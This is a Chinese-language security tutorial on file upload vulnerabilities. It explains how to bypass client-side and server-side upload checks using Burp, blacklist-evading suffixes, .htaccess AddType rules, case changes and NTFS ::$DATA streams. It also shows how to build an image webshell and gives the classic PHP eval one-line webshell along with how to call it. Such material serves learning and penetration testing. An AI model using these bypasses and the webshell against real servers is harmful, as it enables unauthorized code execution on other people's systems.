網絡安全從入門到精通(第八章-1)文件上傳漏洞 —— 解析、驗證、僞造(一)

本文內容:
			~客戶端檢測	
			~服務端檢測
			~實戰注意(主要黑名單)

一、客戶端檢測

1,客戶端校驗:
		一般是在網頁上寫一段Js腳本,用Js去檢測,
		校驗上傳文件的後綴名,有白名單也有黑名單。
2,判斷方式:
		通過抓包來判斷,如果還未抓住包,就彈出不準上傳,
		那麼就是前端驗證,否則一般就是服務端驗證
3,突破方法
		前端驗證非常不可靠,通常可通過兩種方式繞過:
			~關閉JS嘗試繞過
			~傳正常文件通過burp修改數據包就可以繞過(推薦)
4,黑白名單機制:
		黑名單:不允許上傳什麼
		白名單:只允許上傳什麼

		白名單比黑名單更安全

二、服務端檢測

1,服務端檢測幾個常見的手段:
		檢查Content-Type (內容類型)
		檢查後綴  (檢查後綴是主流)
		檢查文件頭

2,製作圖片馬(隱寫)
		~找一張正常的照片(最好用小圖片,越小越好)
			例如:1.jpg
		~新建一個文本文檔(內容一句馬)
			例如:1.txt
		~打開cmd運行下邊命令
			代碼:copy 1.jpg/b + 1.txt 123.jpg
			/b的意思是以二進制加載,最後會合成一個名爲123.jpg的圖片
		
		另外:如何拿出源文件?
			改123.jpg爲123.zip直接解壓即可,很多ctf的初級隱寫難度

三、實戰注意(主要黑名單)

1,簡單的前端黑白名單限制可以通過上邊的兩種方法
2,圖片馬burp抓包改回後綴進行繞過
3,服務端黑名單,將後綴改爲	php.  php_  php4 phptml php空格 在上傳
4,htaccess文件繞過
		簡單的說,htaccess文件就是web容器的配置文件,web容器
		會根據htaccess文件的內容去執行,我們可以改內容:
		例如:	
			AddType application/x-httpd-php .jpg
			這個代碼指令代表着.jpg文件會當做php來解析,但是僅限於當前文件夾
		用法:
			新建1.txt文件,將代碼寫入,打開cmd,運行下列命令:
			ren 1.txt .htaccess		//更名後是沒有文件名字的
		
		注意:但是這個功能是默認不開啓的,可以試試,但是僞靜態網頁一定會開

5,win系統後綴是不分大小寫,而且解析容器也一般不分。可以改一下後綴大小寫
6,win文件流繞過(隱寫)
		打開cmd:
			echo abcd					//輸出abcd
			echo abcd >> 1.txt			//新建1.txt,內容爲abcd
			echo abcd >> 1.txt:b.txt	//新建b.txt,內容爲abcd,且藏在1.txt中
										//系統中只能看到1.txt
		打開b.txt:(cmd中)
			notepad						//打開記事本
			notepad 1.txt				//用記事本打開1.txt
			notepad 2.txt:b.txt			//打開隱藏在1.txt中的b.txt
		注意:此時的1.txt中必須爲空,不能保存東西
		
	擴展:
			(1)事實上,新建的文件夾,完整的語句是這樣的:
				echo abcd >> 2.txt::$DATA		
			這是建立一個2.txt文件,平時寫echo abcd >> 1.txt	系統默認補全
			
			(2)echo abcd >> 1.txt		沒有1.txt新建,若有則將abcd追加至元文件
			(3)如何結合上傳文件:
				上傳1.jpg,burp抓包,改爲1.php::$DATA,保存在服務器爲1.php

7,實戰中,不知道什麼檢測,建議直接用圖片馬,可以避免很多麻煩
8,		連接自己的一句馬:url/上傳馬.php?a=phpinfo();			//“;”不要忘記,
			經典一句馬內容:<?php @eval($_REQUEST['a']);?>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章